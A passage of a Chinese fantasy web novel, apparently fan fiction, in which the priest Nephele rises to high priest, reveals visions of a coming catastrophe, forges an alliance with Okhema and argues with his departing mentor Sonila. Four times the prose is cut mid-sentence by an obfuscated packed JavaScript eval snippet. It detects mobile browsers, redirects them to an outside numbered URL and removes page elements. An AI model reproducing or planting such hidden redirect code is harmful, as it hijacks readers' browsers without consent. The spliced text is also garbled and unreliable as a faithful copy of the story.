所幸，或者说不知为何，泰坦本应平等而又残忍地对待每一个冒犯祂的人类，这一次，听到信徒呼唤而投下视线的神明，却轻巧带过了他的所作所为。 风声渐渐止息。涅斐勒感受到一只手落在他低伏的肩膀上，耳畔响起柔和的吐息。 信徒垮下身体，知道神明容许了他的举动——在不知祂是否了解的情况下。 “……是，感谢您。”涅斐勒心中巨石落地，他跪地行礼，对着眼前缄默的石像道：“从今天起，我依旧是您的祭司，为了践行您的意志，传播您的福音存于此地。” 对泰坦来说， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438456|169313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这黄金般繁荣，密酒和河流等价的年代，一个信徒的愁思可以说是微不足道，就连享用法吉娜酒水的欢宴上都不会提及这种往事用作谈资，连吟游诗人都不会记载这样沽名钓誉的传闻。 涅斐勒握紧手中的吊坠，从风起的那一刻他就宛如寻求依靠般紧握着它，但现在他没必要那么做了。 涅斐勒深深地望着这块宝石——蓝色的切面上映出他的脸庞，映出那脸庞上望不见底的苍翠蓝瞳。 涅斐勒起身，将血碗摇晃一下，泼洒到祭坛上，略微凝固的人类血液很快沿着地面上的凹凸勾勒出了仪式阵法的形状。最后一步，涅斐勒将宝石吊坠摘下，动作小心地放在祭坛中央。 “我已没办法借由它行使您的神迹，而我做的一切令我无颜面对将它赠予我的人。”涅斐勒轻轻说，“希望您愿意接受——至少它仍是人间象征您的介质里最好的那一批。” 说完这番话，在他的指尖，自右手食指到小臂上端的一段距离——此前沐浴鲜血的距离——从无到有，地慢慢浮现出了如机械耦合结构和生物眼睛般的纹身。 这一刻，涅斐勒放下了心。他捡起地上掉落的外袍，走向了神殿上层。 祭司们在等待着他。当涅斐勒出现，祭司们正在窃窃私语，其中包含对这个外来者的怀疑和好奇，但当祭司们看清涅斐勒苍白手臂上清楚的黑色纹样，每一个质疑者都闭紧了嘴。无论如何，那纹身意味着神明给予这个年轻人的认可，而且是已知最高规格的认可。既然如此了，他们质疑与否还有什么意义？ 为首的祭司先是沉默，追问了涅斐勒一些细节，直到她从涅斐勒事无巨细的回答中弄清楚他确实得到了泰坦的回应，这个为神殿事谊操持的虔诚信徒终于放下了心。她对涅斐勒点了头，将头顶象征地位的桂冠戴到涅斐勒低垂的头颅上，对他许诺了一场还未到来的权力交接仪式。 她温柔又不失威严道：“我希望你如传说的使者那样，对艾格勒有最虔诚的信仰。” 涅斐勒点头：“我会的，大祭司大人。” 就这样，涅斐勒在神明本尊的默许下，成为了无名之城有史以来最年轻的大祭司。 7. 记忆命途 成功之后，涅斐勒便逐渐从大祭司手中接过了城邦的一切事物。哪怕在上一世，他也仅仅是在老师——前任的大祭司身边观摩的学徒而已。不过，毕竟是黄金世，要处理的矛盾多数是一些鸡毛蒜皮的小事，只有涉及泰坦的事务需要祭司们略微上心。 涅斐勒不确定他是不是一个可靠尽责的大祭司，但他会尽己所能。 从那天起，涅斐勒经常造访神殿内记录历史的祭司们，向他们确认时间的流逝。他还时不时向祭司以及城邦的平民打听周围的异动，尤其是油墨般漆黑污浊的潮水，还有形态各异、体型高大而手持武器的怪物。 城邦的人类也逐渐意识到了他们新任大祭司的古怪。可涅斐勒手臂上象征神明宠爱的记号足以让他们对此耸耸肩一笑而过。 而关于那份「宝物」——在祭祀结束后几个小时，涅斐勒找到了前任大祭司。 涅斐勒向她行礼：“大祭司大人，冒昧叨扰。” 偏殿，大祭司合上放在膝头的书本，“不必如此，孩子。现在，你才是大祭司了。” 涅斐勒并非赞同，他走到大祭司旁边。 大祭司看向他。 “所以，你想索求什么？金钱、物质、伴侣？还是一壶世间绝无仅有的密酿？”年长的祭司毫不避讳地陈述着众人欲望的名讳，“或者你有更深、更强烈的欲望想要满足？” 她的眼睛像一池泉水，映出涅斐勒焦灼不安的内心。 这个问题他早已有答案，不是吗？ 涅斐勒说：“我想从您这里得到的，是那些记录了吾神起源的书。” 祭司的手指一抖，向着不知尊敬为何物的人问道：“你知道这请求是什么意思吗？” 这次回答，涅斐勒没有那么坚定。 “……我知道吗？是的，我知道。” 涅斐勒顿了顿，说：“我知道这座神殿一定也收缴过这样的书。请您把它们给我吧。” “它们对你有什么用？”祭司严肃地质问道，“让这座城迎来一个渎神的大祭司？” 涅斐勒笑了笑：“好严厉的质控啊，不过并非如此。” 他并非想要借用大祭司的权力为自己谋取一些诸如探求知识的好处。 “我想要这些东西，是为了……验证一件重要的事。”涅斐勒说，“这件事，对我们脚下的这座城、对我们的族群、对我们的神艾格勒可能也极为重要。” 大祭司站起身来。 “我感觉到你试图在隐瞒我什么，而且，想要在隐瞒真相的同时用你的口才说服我。”她说道，“你如何证明你所说的一切不是一个狂徒的危言耸听？” 涅斐勒钦佩于这位祭司的敏锐，略显尊敬地回答她：“在某些事发生之前，我没有绝对的证据证明。但我可以告诉您我想用那些书里记载的信息证明一件什么样的事。” 大祭司皱起眉，短暂思索后，她同意了：“好，证明你说的话吧，涅斐勒阁下。” 涅斐勒拆下手臂上的绷带，将手掌横置于第四节肋骨处。一抹水晶石般的光芒从他的眼中一闪而过，涅斐勒的口中吟诵出并非人类语言的祷词。 大祭司睁大眼，只因她的见多识广使她认识这语言的原型。 “泰坦的语言。”大祭司低语道，“涅斐勒阁下，你在说泰坦的语言？” 涅斐勒眼中的光芒冷却了一瞬，他停住动作，对着大祭司笑了笑，什么也没说。 足有一厘米厚的冰霜自涅斐勒的脚下凭空出现，蔓延至周遭，飞速爬上偏殿的石柱与高墙。大祭司抬头环顾四周，看着她并未见过的一种景象。 当整个空间被冰霜冻结，偏殿大门的缝隙也被冰棱填满，时候到了。 属于涅斐勒的记忆，在满室让人头晕目眩的反光中出现。来自记忆中的回声回响他和大祭司的耳边。那些黑潮重刷大地、怪物毁灭城邦的记忆，以极为不可思议的方式在二人的眼前复现。 大祭司伸手触摸那冰霜，触感真实却毫不冰冷，仿佛是它的创造者刻意不想要别人受伤。等到收回手后，她看涅斐勒的眼神变了，这个缄默的年轻人变得充满神秘。她有很多问题想要问他，最关注的莫过于这些影像的来历。他来自何处？为何来此？那些黑色的潮水与令人不安的嘶吼，是造访他故乡的灾难吗？ 但身为祭司的天职令她忍不住先探究另一件事。 “这种「神迹」，你是欧洛尼斯的——” “我不是。” 涅斐勒立刻否认。 “那么——好吧。”祭司体贴地转移了话题，“所以你希望告诉我什么？” 涅斐勒缠绕绷带，随着白色的条带一圈圈地遮盖住手上的伤，环境里的冰霜也开始变薄，最终无影无踪。 “如果您相信我，那么我会告诉您，这些东西并非虚无缥缈的影像。”涅斐勒闭了闭眼轻轻地说，“如果不加改变，那么，它们会是你我的「未来」——灾厄与毁灭的未来。” “这件事超出了我的认识之外，我无法裁决它的真伪。”大祭司顿了顿道，显得有些犹豫，那是她在为即将出口的话而反复权衡。 “你……能不能告诉我更多？” 涅斐勒笑了：“我当然愿意，这是我的荣幸，大祭司大人。” 其实，涅斐勒作为来路不明的异邦人本不该如此轻易得到任何人的信任。可涅斐勒身上抹不掉的一些特质却透露着他与祭司们紧密的关联，与此同时手臂上的花纹也证明着他是被神明眷顾的人子。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438457|169313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“大祭司大人，请看。” 涅斐勒的手中出现一个小小的虚像，是一只机械鸟的模样。机械鸟扑棱着翅膀，惹人怜爱，生机勃勃。 涅斐勒用另一只手护住小鸟的虚像，口中念念有词。下一秒，他手中的鸟儿犹如从巢穴中掉落的雏鸟般，叽叽喳喳地落在了涅斐勒的手心，被他轻轻握住。 “……”大祭司沉默着，她感到疑惑，甚至因为过度疑惑而对眼前的人心生恐惧。 她已无法判断这个年轻人是谁，他的出现究竟意味着什么，自己将神殿的一切权柄交接于他究竟是对是错。 涅斐勒轻轻地张开手，放飞机械鸟，看着它在神殿中快活地翱翔。 涅斐勒说，语气近乎安抚：“这是在您看到的那场灾难后，我得到的一份力量。” 涅斐勒模糊了个中的经过，尤其是他曾身处天外与来古士进行交流的那一部分。 “对我来说，它们既陌生又熟悉，使用它们的方式被刻进了我的脑子里。” 大祭司从疑惑的打击回过神来，看着涅斐勒平静的眼睛，她问道： “你从我这里索要禁忌的书籍，是和这份力量有关？” 涅斐勒点点头，他决定使用它。为了对抗黑潮和其它灾难，熟悉并掌控它。 “所以，你不是艾格勒的使者，而是赐予你这种力量的「神明」的使者？” 涅斐勒答：“……嗯。我无从反驳。” 大祭司沉默着，倘若她揭露这点，涅斐勒恐怕立刻就会成为城邦的众矢之的，作为说谎者和异端被民众驱逐，甚至架上火刑柱被判处死刑。 “为什么让我知道这点？” 在大祭司眼里，做出此等疯狂举动的人只是安静地笑了笑。 “因为我是艾格勒的信徒。哪怕我隐瞒您再多，这件事您也可以看得出来，不是吗？” 大祭司了然道：“呵……所以你绝不会做出危害吾神的举动，是吗？” 大祭司想了想。 “好，这个理由说服了我。我会保持沉默，不让任何人从我这里知道这件事。” 机械小鸟停在涅斐勒的指尖，当涅斐勒将这精巧造物收入掌心，它再度化作虚像。 “感谢您的恩情，大祭司大人。”涅斐勒说，“但您看上去仍有疑问。” “是。我希望你回答我最后一个问题。”大祭司问。 “为什么你偏要得到那种书？解构吾神的起源，和你要做的那些事有什么联系？” 涅斐勒想了想，回答道：“倘若我说，我得到的祝福和泰坦的力量同出一源呢？” 大祭司愣住了。半晌，她回答： “同出一源吗？那么……怪不得你要了解吾神的起源了。” 8. 奥赫玛 翁法罗斯边陲的无名之城有了一位得到泰坦祝福的新祭司，这位神秘的新祭司还直接越过已有的程序，直接继承了前任大祭司的权柄——鉴于吟游诗人的无处不在，这段故事很快传遍了翁法罗斯的大街小巷。涅斐勒为此不得不出席神殿的仪式，好让慕名而来的艾格勒信徒们得以满足见使者一面的小小心愿……代价就是整日处在忧虑之中的大祭司大人不得不为自己加上额外的重担，比如怎样让见到自己的信徒们感受到满足，而不是失望。 对涅斐勒来说，过去撒下的谎在名声大噪后全变成了前进的负担；但如果这一切都是必要的，那他甘之如饴。 前任大祭司被涅斐勒的请求留在了无名之城，作为他的导师和指点者。涅斐勒还没高傲到觉得自己已经理解了几千年前翁法罗斯的一切，这意味着他需要一位老师向自己传授知识，审视自己的决策，指出他可能存在的不足。那位智慧而敏锐，颇具艾格勒本尊风范的女性就是很好的人选。 事实证明，涅斐勒受到的教育是有效的，无名之城的欣欣向荣就是佐证。这也打消了前任大祭司——当然，现在是涅斐勒的老师——对他最后的怀疑。这座属于天空之民的城邦渐渐在大陆上声名远扬，融入各地宴会和集市的交谈里。 涅斐勒对泰坦起源的研究也在暗中有条不紊地推进，他了解到一些被视为禁忌的知识……但那些知识是对他有帮助的，他通过这些了解进一步掌握了那份力量的用法。总之，一切都在朝好的方面改变。 但历史证明，好的改变往往没办法持续到永远——有麻烦找上涅斐勒了。 那日，神殿内，涅斐勒穿着熟悉的、甚至更为华美的长袍，撒着金粉的瓦蓝斗篷低垂在身后，像是在他身后追随他的子民，在羊毛般柔软的银发间戴着一尊金桂头冠。比起自己，现在自己似乎更像自己的老师，无论哪位。每当涅斐勒要以这幅样子出席，这位年轻缺乏经验的大祭司总是会这样想。 有一行人从神殿的正门走进来，那略显眼熟的衣装，他们似乎是奥赫玛人。这行客人在涅斐勒不带感情的注视下行礼，道出了自己的来意。 “佩拉斯的大祭司，我等是来自奥赫玛的访客，为这突如其来的问候向您致以歉意。” “这没什么。各位既然能从奥赫玛远道而来，我不会为这点小事苛责你们。” “那真是太好了。”奥赫玛使者的脸上带着尊敬，他命令身后的人呈上代表佩拉斯与奥赫玛友好与和平的礼物——一些诗文与典籍。“其实，我们想邀请您来奥赫玛一叙。” 涅斐勒第一时间想到的，是自己的行动还不够隐秘，居然泄露出了「无名之城的大祭司对书籍感兴趣」的情报。但随即涅斐勒想到，这或许也是一个机会。 涅斐勒察觉到使者们隐秘的期望，试着询问他们：“现在的奥赫玛，是一座什么样的城邦？” 感受到涅斐勒的善意，使者们变得轻松而兴奋：“您曾经来过奥赫玛吗？我们的圣城奥赫玛，坐落于负世泰坦刻法勒的脚下。而您也一定知道，艾格勒与刻法勒本就有着千丝万缕的关联……” 从使者的语气中，涅斐勒得以大致确定他并非带着灾讯而来。 涅斐勒松了口气，这样一来，就否定黑潮提前到来的可能了。 “好，我跟你们回奥赫玛。”涅斐勒决定道，“但是要等我把城邦事务交接好以后。” 使者们欣然应允。涅斐勒将他们安置在离神殿最近的住所中，方便使者们随时表达自己的需要，或是欣赏神殿的风景。 直到第二日的黎明，温柔的西风在案牍旁吹过，涅斐勒放下最后一份案件，他起身拍拍衣袍的灰尘和褶皱，知道是时候该和使者们一起出发了。 在城门道别前来送行的祭司和民众，涅斐勒对上老师的视线——她似乎有些担心涅斐勒此行的安危好坏，涅斐勒对她点头，转身在使者的保护下坐上他们带来的大地兽。 几天几夜后，涅斐勒来到了奥赫玛。奥赫玛的祭司立刻迎接了涅斐勒，邀请他到云石天宫仔细一叙。 温润的池水，足足有一个神殿那么大的喷泉浴池——这在远方的无名之城是不可能见到的奇景，更别谈走入其中享受水流在肌理上的缓慢冲刷。 奥赫玛这一代的大祭司是一位容貌妍丽有着一头金发的年轻人，不过极有可能只是看着年轻，实际上他担当祭司的岁月已经超过涅斐勒几百年了。 在朦胧的水汽里，奥赫玛的大祭司用温和的声音告诉涅斐勒近日流传于奥赫玛坊间的闲谈，有的荒诞不经，有的则让人忍俊不禁。最后，在气氛变得得当时，他终于提及邀请涅斐勒的关键。据他所说，似乎在民众间有人不满由祭司掌权的结构，反抗的思潮正在奥赫玛的民众之中弥漫…… “也就是说，”涅斐勒坐直身体靠在浴池边，“您担心这种思想会让奥赫玛陷入混乱，置祭司们乃至整个奥赫玛于不利。” 奥赫玛的大祭司叹息道：“没错。” 数百年的时间对于凡人而言已经足够漫长，足够催生他们心中固有的对于变革的渴望，足够点燃流淌在血管中的追求纷争的血液。 涅斐勒点点头，这确实不太好，想了一会，他问：“那么，我能为此做点什么？” 奥赫玛的大祭司对涅斐勒耳语，涅斐勒挑起了眉，用眼神反问对方的意思。 奥赫玛的大祭司许诺：“为此，奥赫玛愿与佩拉斯成为永久的友邦。” “佩拉斯并没有如此复杂的政治纠葛，我缺乏处理这种事物的经验，”涅斐勒保持着谨慎，一句一顿地说，“但是这种已经成型的思潮真的能靠这种办法平息？” 根据涅斐勒所知的未来，在他日后造访时，永恒圣城奥赫玛的事务可已尽数由与神殿对立的元老院主导了。 大祭司笑着喟叹：“我知道，这恐怕杯水车薪；不过即使失败，我的承诺依旧有效。” 涅斐勒说：“……原则上，我不该参与奥赫玛内部的政治纠纷。” “你在担心索妮拉吗？”奥赫玛的大祭司忽然叫出涅斐勒老师的名字，引起了他的注意，“她是我的 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那天起，奥赫玛的大街小巷里开始流传着一个传说：一位身穿黑袍，辨别不出面貌的神秘义士开始在街头巷尾行侠仗义，用那显然是神迹的力量解决人们遇到的麻烦。义士用戴着手套的双手修好倒塌的房屋，凭空造出切好的蔬果和瘦肉；名为神迹的伟大力量第一次如此之近地呈现在人们眼前。 随之而来的，是由神殿掌握城邦权力的不满在那段时间慢慢平息了。有人编纂出以黑袍义士为原型的故事，以奥赫玛为起点在翁法罗斯间缓慢传唱开。比起所谓的政治斗争，人们似乎更乐意角逐那位神秘义士究竟是哪位泰坦的使者，又究竟代表着谁的意志为了什么目的而行动。 其它的城邦也流行起类似的现象，不少祭司在夜幕的遮掩下抛去平日里必须戴有的高贵的面具，用自己受赐的力量为城邦的子民带去急需的祝福。 涅斐勒带着奥赫玛大祭司给他的，象征和平友好的黄金信物回到了无名之城——他的老师在神殿里等他，从她的表情上看她早就知道了“黑袍义士”背后的真相。 涅斐勒看着她，想得到她的指点，可前任的大祭司看起来并不认可他的作为。 她淡淡地说：“恪守祭司应尽的职责，守卫神殿，传播泰坦的神谕，这才是我们的使命。至于因为一些僭越者才会有的思想就自乱阵脚，做出一些不该做的行为，那才是一种愚笨，也是对神明的不忠。” “老师，也许那是种新思想？” 她打断涅斐勒的话。“翁法罗斯没有真正的新思想，就算有，也是神悟树庭的那帮人该想的事。” “从几百年前就开始了，那些不尊敬泰坦意志的念头。那些叛乱的想法平息不了，也没必要平息。” 看着涅斐勒说不出话来，无名之城前任的大祭司——索妮拉叹息道。 “你这是在趟浑水，涅斐勒，你不该掺和这种仅凭你的力量无法改变的事的。” 9. 边界与止境之城 日后，涅斐勒才明白，索妮拉的意思是：假如那些思想终将掌控翁法罗斯，作为最早一批被卷入其中的城邦，奥赫玛必将首当其冲。而和奥赫玛来往甚密无名城邦佩拉斯也必将为此蒙受损失。 他明白，涅斐勒明白。但是、但是，如果不这样做，又要等上多久他才能等到一次这样的机会？ 涅斐勒和老师的关系似乎变得微妙了。这座自古以来便坚定不移追随艾格勒的城邦里，每一任大祭司几乎都是不可动摇的传统与信仰的维护者。 索妮拉对涅斐勒说：你所做的事与她和她之前的祭司截然不同。比起保持现状，似乎有什么神秘力量在驱使你做得多一些，再多一些。我不了解你的故事，但我希望那东西不会是让人堕落成魔鬼的私欲。 警告与漠视——可这是一位无名城邦的大祭司对于僭越神明者最后的包容。 而涅斐勒，他就能做到毫无动容吗？恐怕只有神殿里每晚洒下的月光能够得知，自那午夜时单膝跪地低声祈祷的人类身上。 自此开始，便有千年。 佩拉斯的绰号「无名城邦」，本是和日后因供奉纷争泰坦而得名「蛮都」的悬锋城类似的蔑称，这都是由于它太过偏远，也太过贫穷了。 但在这千年里，整座城邦紧紧环绕在传说中直接受赐艾格勒祝福的使者身边，将这座城的城墙建得更高、土地垦得更广，俯瞰世间的高塔直指云霄。 于是，在光历2317年，这座城邦的称号改变了：昔日的「无名城邦」已然陨落，以翁法罗斯最为壮观的高墙与坚塔为标志，佩拉斯将成为新的「止境之城」。 自此，「止境之城」佩拉斯将自己的政治与文化丢入了翁法罗斯的大地，拔地而起的一座座高塔正承载着新的文明。 涅斐勒站在记忆里的高塔上——那时的佩拉斯只有这一座神殿里的高塔——他眺望着眼前城邦的层层铁壁，依旧没办法确定这些准备是否足以抵挡百年后的灾厄。 一声机械鸟的啼鸣划过长空，涅斐勒抬起头接住鸟儿抛下的卷轴，展开。 “来自奥赫玛。” 亲爱的涅斐勒，展信佳。 近日可好？想到你的名字和面容，我便想到你的城邦：那犹如美丽的银色珠玉，醉人的天蓝宝石，立于止境的城邦佩拉斯。可比起它的宏伟，我更加钦佩它的缔造者。你作为一位祭司，创造了稀世罕见的伟业。 趁此机会，愿你来奥赫玛与我一叙。若你愿往，必将以美酒佳肴款待你的到来。 你的朋友，籍籍无名的奥赫玛祭司，戈卡尔斯卡蒂亚。 那便去吧。良好运转的城邦不再刚需一位大祭司的掌控，涅斐勒将重要的事交代给祭司之后，便动身往奥赫玛赴这一场千年之邀。 富饶的城邦奥赫玛，总是能拿出新的美食和美酒招待它的客人。宴席上，戈尔卡斯举起酒杯与涅斐勒相撞，相比起典型的佩拉斯祭司们，这位奥赫玛的祭司要更为不羁一些。黄金色的密酿洒出在他的白袍上留下金色的水渍，戈尔卡斯也不在意，只是就着酒劲微笑着祝福他的朋友，同时抛出自己的问题。 “你似乎总是不笑，我的朋友。” 涅斐勒客气地与他碰杯，回答：“嗯，不是所有人都像奥赫玛人那样热情好客。” 戈尔卡斯笑出了声，高举酒杯，“这样看来，我是不够热情好客的佩拉斯人愿意赴约的人咯？” 面对戈尔卡斯的调侃，涅斐勒选择的反应是一个似笑非笑的注视。 酒过三巡，戈尔卡斯放下酒杯，深深望着涅斐勒的脸。 “我的朋友，我得感谢你愿意和我建交。在那段遥远的时光，能得到你这样沉默又忠实的盟友，是我作为奥赫玛大祭司的荣幸。” 涅斐勒举杯示意。但他也承认，作为一名祭司，戈尔卡斯总是过于温和跟热情了。 说到这里，戈尔卡斯顿了顿。 “涅斐勒，你带着我给你的信物吗？” 涅斐勒淡然地点了头。他当然带着，这是基本的攀交礼节不是吗？ 涅斐勒摘下胸前悬挂的圆形银匣，从里面拿出一段墨涅塔的金丝。 “这是墨涅塔的金丝，曾用来纺织一对奥赫玛祭司的爱情。” 看到这段金丝仍在，戈尔卡斯似乎感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438459|169313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了安心。他走向涅斐勒，对他年轻的朋友讲述了很久之前就一直在做的怪梦。梦里有如沙丘般坍塌的翁法罗斯，许多城邦在遮天蔽日的乌云下一座座崩毁，大地兽奔逃的响动变成了传遍世间的地震。 “这我不知道。”涅斐勒回答，“我只记得第一次见面，你就用你掌握的情报威胁我。” 戈尔卡斯从善如流地笑着道歉：“我很抱歉，我的朋友。但还是先听我说。” 戈尔卡斯，这位和过去的涅斐勒具备同一种天赋的祭司有着预知梦的能力。他告诉涅斐勒，他梦到令人恐惧的黑色潮水给翁法罗斯的生灵到来了难以想象的疯狂。三种诅咒自冥河升起，凡间的黄金岁月自此一去不还。 讲述完自己的梦，戈尔卡斯问： “朋友，你说，我感受到的不安究竟是一场梦，是往世的记忆……或未来的命运？” 涅斐勒沉默许久。 “戈尔卡斯，我同情你。”涅斐勒说，但他知道戈尔卡斯能够会意。“但很抱歉，我不能告诉你任何事。” 戈尔卡斯低头饮酒，遗憾爬上他垂落金发的眼眉。 “是吗……”戈尔卡斯叹息，“所以，你拥有奇妙的「神力」，却不是拯救我于困惑的使者吗？” 涅斐勒沉默不语，一如他在命运前所保持的样子。 戈尔卡斯并未死心，他问：“那么，至少能回答我一个简单的问题吧？” 涅斐勒匆匆点头，就像是担心让戈尔卡斯久等一般。 “太好了。”戈尔卡斯叹息，问：“奥赫玛与佩拉斯，会是永远的至交盟友吗？” 在我的城邦，亦或你的城邦面临某种意想不到的危险时，在那些异族的锋刃指向我们深爱的故土时，你是否会伸出援手，仅仅出于这份平凡的、却被我放在心上的友谊？ 涅斐勒没怎么犹豫，冷静道：“是。” “无论何种灾难，无论何种意外，我们同舟共济——奥赫玛与佩拉斯，会是永远的至交盟友。” 戈尔卡斯的脸上再度露出微笑。这个答案看上去让他很满意。 这场宴席，二人尽兴而归。 10. 昏光庭院 用高墙抵御兽潮、与邻邦守望相助。如果说，还有什么东西是涅斐勒没准备好，却能在未来派上用场的，想必就是「治愈疯狂的思想」。 “老师，我要去「神悟树庭」一趟。”想清楚后，涅斐勒放下公文对索妮拉说。 “这次是因为什么？”索妮拉睁开一只眼睛，靠在墙边淡淡地瞥视涅斐勒。 “上一次拜访「神悟树庭」是五十年前，我记得那次是因为你打算修建一座新塔，所以拜托那些学者给予你一些数据和理论上的支持。再上一次是三百七十八年前，你的祝福有些失控，所以离开城邦去那树下求取了瑟希斯启示。再上一次是四百二十年前，你需要智械生命的生物结构，好帮助你制造一些机械的仆从……” 索妮拉把涅斐勒不纯粹的「求学」之旅如数家珍地讲了出来。一次两次，不是这有点问题，就是因为那出了些麻烦。索妮拉恐怕想问：你小子又有什么新点子？ 涅斐勒安静地听完，笑道：“别再调侃我了，老师。您知道的，这都是必要的。” 无名之城——如今，是「止境之城」的繁荣，它的出现与过去千年的无数计划密不可分。而为了能让这份繁荣长葆，不得不付出比获得它还要多几千倍的努力。 索妮拉不置可否，只说道：“既然你已下定决心，我就为你联络塞勒苏斯的讲会吧。” 那真是再好不过了。涅斐勒对「塞勒苏斯」这个名字早有耳闻，不管是上辈子还是这辈子。只不过在之前，他说要前往「神悟树庭」，他的老师可从来没有对他许诺过这种好事。 “可以吗？那位学者的行程应该很满，我以为我顶多只能找时间跟他说一句话。”想到那位学者众星捧月的样子，涅斐勒说。 索妮拉显然早料到了这一点。对于那些学者而言，就算来者是城邦的掌权者，在他们面前也不比一位带着疑问前来的乞丐更高贵、更有特权。只有具备智慧和理性之人能够在那棵孕育智慧的巨木下得到尊敬。 “听好，涅斐勒，我觉得凭你自己的力量足以让你在学者中来去自如。”说到这里，索妮拉露出一抹意味深长的微笑：“但你接下来要做的事，必须要某些特别的人予以帮助。” 涅斐勒问：“等等、但是，您怎么知道我想做什么？” “你难道把我当成迂腐的老古板了？”索妮拉说着，拿走了涅斐勒案台上的卷轴，那是涅斐勒和「神悟树庭」达成合作，每有新进展就送到他面前的针对泰坦起源的研究。“这东西我拿走了，你已经看完了吧？我得确保没有别人看见这玩意儿在神殿里出现。” 涅斐勒感受到索妮拉的审视和让步，甚至在那之中，还有一股让他惊讶的信赖。 “你只管带上这封信，我已在这封信里给出了足够让他为你花费时间的理由。”索妮拉说，“但，我有一个条件。” “您说。” “在你回来后，我会离开佩拉斯，卸任祭司一职。” “我拒绝。”涅斐勒说，“为什么？” “等你拜访那位学者之后，他一定会对你倾囊相授。当然，不是我贬低，论智慧你和他还是有些差距，因此能学到多少恐怕还要看你自己。幸好，无论如何你都会因此成为一位合格的祭司，我也能放心了。”说完索妮拉顿了顿，“还是说，你要让我失望？” 离开佩拉斯？现在？离黑潮降临只剩不到一百年的现在？ “老师，您为什么要走？”涅斐勒皱起眉，“别用假话打发我，您要去做什么？” “「昏光庭院」。”索妮拉说，她的脸上浮现出虹彩般简单的幸福，像勾起了某种回忆，“我曾留学的地方，整个翁法罗斯最接近艾格勒的城池——现在，我要回到那里去。” 涅斐勒的眉皱的更深了，根据他的对日后发展的了解，那座天空城早就在纷争泰坦诞生的初期被那贯穿天地的一击从高天击落坠入深山，没听过几个幸存者从那座城池里回来。索妮拉如此决定不外乎送死。 “如果只是怀念，您大可以再陪我几百年时间再回到「昏光庭院」去。”涅斐勒面不改色地说谎道，“那座天空城在艾格勒眼前，不会怎么样——可我非常需要您，老师。” 索妮拉似乎被这“真挚”的话语逗笑了，疏离的气质变得轻松。 “是吗？你需要我……这种撒娇的话我可从没听你说起过。” 涅斐勒立即回答：“是的，我需要您，留下来，继续做我的老师吧。” 在涅斐勒执着的目光里，索妮拉却只是摇了摇头。 “谢谢你的关心，涅斐勒，但我必须回到那座城中。” “然后和它一起死无全尸？” 涅斐勒顶着索妮拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438460|169313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仿佛看透了命运的目光，完全无法遏制住内心的愤怒，或者说绝望。 索妮拉问：“所以，「昏光庭院」果然会在你所说的灾厄中毁灭，是吗？” 女子的手指触摸上学生因情绪发作而紧绷的下颌，仿佛蝴蝶亲吻芳丛，她的目光透着如水般的温柔和认可，对于这位恪尽职守的大祭司来说，这是只有对极为亲近之人才会留有的感情。 索妮拉叹息道：“你并不擅长掩藏自己，孩子……也许是某些经历导致你没办法将注意力从认准的事情上移开，但客观而言，这确实给了我……或许还有某些人，从你身上得知「本不该知道的事」的契机。” 是啊，太明显了，他怎么就没有注意到呢？ “我觉得你会一直……至少，是在黑潮将这座城邦毁灭前，都一直在我身边。”涅斐勒说。他期待的「改变」并不是这样。 “但我既然知道，就必不可能让我的故国在我不知道的地方独自陨落。”索妮拉松开了手，尽管她的学生在以眼神挽留，“你一定能理解我的，涅斐勒。” “我能吗？” “你可以。”索妮拉说，“而且，你也必须可以——如果我猜的不错，你想做的事、想要对抗那种「灾厄」，你必须可以忍受亲近之人的离去。” 涅斐勒低声说：“可是，老师，我就是为了避免别人离开才想去对抗灾厄。” “我为了不让黑潮将人们淹没，所以修建墙壁，建造高塔；我为了阻挡同族指向我的铁矛，囤积粮食，掌握神迹；我无法同怪物战斗，所以与邻邦建立外界；为了能让更多佩拉斯人在绝望中坚持下去，我求取理性的信仰。” “如果我做这些只是为了更好地忍受你们的离去，那我为什么还要这样卖力？” 索妮拉从容地听完涅斐勒的陈述，劝告道：“涅斐勒，你现在是大祭司了，可不能说这么懦弱的话，会被你的子民们讨厌的。” 